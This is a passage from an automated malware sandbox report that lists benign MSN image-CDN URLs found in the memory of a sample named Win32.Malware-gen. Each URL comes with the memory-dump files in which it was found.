http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yxVU?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345701726.0000000006050000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346694046.000000000604F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.533154697.0000000006650000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1kc8s?m=6&o=true&u=true&n=true&w=30&h=30
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496566679.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498076357.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446872861.0000000004489000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB6Ma4a?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB7hjL?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBGjoVB?h=50&w=50&m=6&q=60&u=t&o=t&l=f&f=jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBIbOGs?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBMVUFn?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345701726.0000000006050000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346694046.000000000604F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.533154697.0000000006650000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBO5Geh?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498076357.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBPRPvf?h=50&w=50&m=6&q=60&u=t&o=t&l=f&f=jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.287712983.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.290448651.00000000044B0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.532907065.00000000065A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.426485012.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.530993511.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBPfCZL?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496566679.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498076357.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446872861.0000000004489000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBRUB0d?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357322813.00000000043C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.501599670.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496566679.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446872861.0000000004489000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBS0Ogx?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBSDdmG?h=50&w=50&m=6&q=60&u=t&o=t&l=f&f=jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBTrj40?h=50&w=50&m=6&q=60&u=t&o=t&l=f&f=jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498076357.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBVBUge?h=50&w=50&m=6&q=60&u=t&o=t&l=f&f=jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498076357.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBVQ7lO?h=50&w=50&m=6&q=60&u=t&o=t&l=f&f=jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496566679.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446872861.0000000004489000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBVuaWG?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486922603.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502811746.0000000006631000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBVuddh?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.287712983.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330038482.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333295635.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338271728.0000000005151000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335649928.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335608702.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.530993511.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 